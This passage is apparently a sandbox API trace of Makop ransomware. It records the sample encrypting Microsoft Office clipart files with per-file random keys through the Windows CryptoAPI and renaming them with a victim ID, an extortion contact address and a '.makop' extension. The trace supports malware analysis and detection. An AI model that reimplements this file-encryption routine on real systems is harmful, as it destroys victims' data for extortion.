phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0120.143] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0120.143] GetProcessHeap () returned 0x48a0000 [0120.143] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0120.144] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0120.144] CryptDestroyKey (hKey=0x48c7128) returned 1 [0120.144] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0120.148] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0120.148] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0120.149] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0120.149] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0120.149] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0120.149] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0120.149] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0120.149] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.149] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x35f0, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x35f0, lpOverlapped=0x0) returned 1 [0120.151] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x35f0, dwBufLen=0x35f0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x35f0) returned 1 [0120.151] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.151] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x35f0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x35f0, lpOverlapped=0x0) returned 1 [0120.152] CryptDestroyKey (hKey=0x48c7128) returned 1 [0120.152] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x36c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.152] SetEndOfFile (hFile=0xf0) returned 1 [0120.159] GetProcessHeap () returned 0x48a0000 [0120.159] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0120.159] GetProcessHeap () returned 0x48a0000 [0120.159] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0120.159] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0120.159] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105710.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105710.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0120.161] CloseHandle (hObject=0xf0) returned 1 [0120.161] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2030, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105846.WMF", cAlternateFileName="")) returned 1 [0120.161] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF") returned 63 [0120.161] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105846.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0120.163] GetProcessHeap () returned 0x48a0000 [0120.163] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0120.163] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0120.163] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0120.169] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0120.169] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0120.169] GetProcessHeap () returned 0x48a0000 [0120.169] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0120.169] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0120.169] CryptDestroyKey (hKey=0x48c7128) returned 1 [0120.169] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0120.261] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0120.261] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0120.262] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0120.262] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0120.262] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0120.262] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0120.262] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0120.262] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.262] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2030, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2030, lpOverlapped=0x0) returned 1 [0120.264] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2030, dwBufLen=0x2030 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2030) returned 1 [0120.264] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.264] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2030, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2030, lpOverlapped=0x0) returned 1 [0120.265] CryptDestroyKey (hKey=0x48c7128) returned 1 [0120.265] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2104, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.265] SetEndOfFile (hFile=0xf0) returned 1 [0120.272] GetProcessHeap () returned 0x48a0000 [0120.272] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0120.272] GetProcessHeap () returned 0x48a0000 [0120.272] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0120.272] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0120.272] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105846.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105846.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0120.274] CloseHandle (hObject=0xf0) returned 1 [0120.274] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2dc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105912.WMF", cAlternateFileName="")) returned 1 [0120.275] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF") returned 63 [0120.275] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105912.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0120.276] GetProcessHeap () returned 0x48a0000 [0120.276] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0120.276] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0120.276] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0120.276] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0120.280] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0120.280] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0120.280] GetProcessHeap () returned 0x48a0000 [0120.280] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0120.280] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0120.280] CryptDestroyKey (hKey=0x48c7128) returned 1 [0120.280] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0120.280] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0120.281] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0120.281] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0120.281] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0120.281] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0120.281] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0120.281] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0120.281] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.281] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2dc8, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2dc8, lpOverlapped=0x0) returned 1 [0120.283] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2dd0, dwBufLen=0x2dd0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2dd0) returned 1 [0120.283] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.283] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2dd0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2dd0, lpOverlapped=0x0) returned 1 [0120.283] CryptDestroyKey (hKey=0x48c7128) returned 1 [0120.283] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2ea4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.283] SetEndOfFile (hFile=0xf0) returned 1 [0120.291] GetProcessHeap () returned 0x48a0000 [0120.291] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0120.291] GetProcessHeap () returned 0x48a0000 [0120.291] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0120.291] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0120.291] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105912.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105912.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0120.292] CloseHandle (hObject=0xf0) returned 1 [0120.292] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1204, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105974.WMF", cAlternateFileName="")) returned 1 [0120.292] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF") returned 63 [0120.293] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105974.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0120.293] GetProcessHeap () returned 0x48a0000 [0120.294] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0120.294] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0120.294] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0120.294] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0120.391] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0120.391] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0120.391] GetProcessHeap () returned 0x48a0000 [0120.391] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0120.391] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0120.391] CryptDestroyKey (hKey=0x48c7128) returned 1 [0120.391] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0120.391] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0120.392] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0120.392] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0120.392] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0120.392] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0120.392] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0120.392] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0120.392] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.393] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1204, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1204, lpOverlapped=0x0) returned 1 [0120.394] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1210, dwBufLen=0x1210 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1210) returned 1 [0120.394] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.394] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1210, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1210, lpOverlapped=0x0) returned 1 [0120.395] CryptDestroyKey (hKey=0x48c7128) returned 1 [0120.395] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x12e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.395] SetEndOfFile (hFile=0xf0) returned 1 [0120.401] GetProcessHeap () returned 0x48a0000 [0120.402] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0120.402] GetProcessHeap () returned 0x48a0000 [0120.402] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0120.402] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0120.402] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105974.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105974.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0120.403] CloseHandle (hObject=0xf0) returned 1 [0120.403] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x274c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0106020.WMF", cAlternateFileName="")) returned 1 [0120.403] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF") returned 63 [0120.404] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106020.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0120.404] GetProcessHeap () returned 0x48a0000 [0120.404] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0120.404] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0120.404] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: 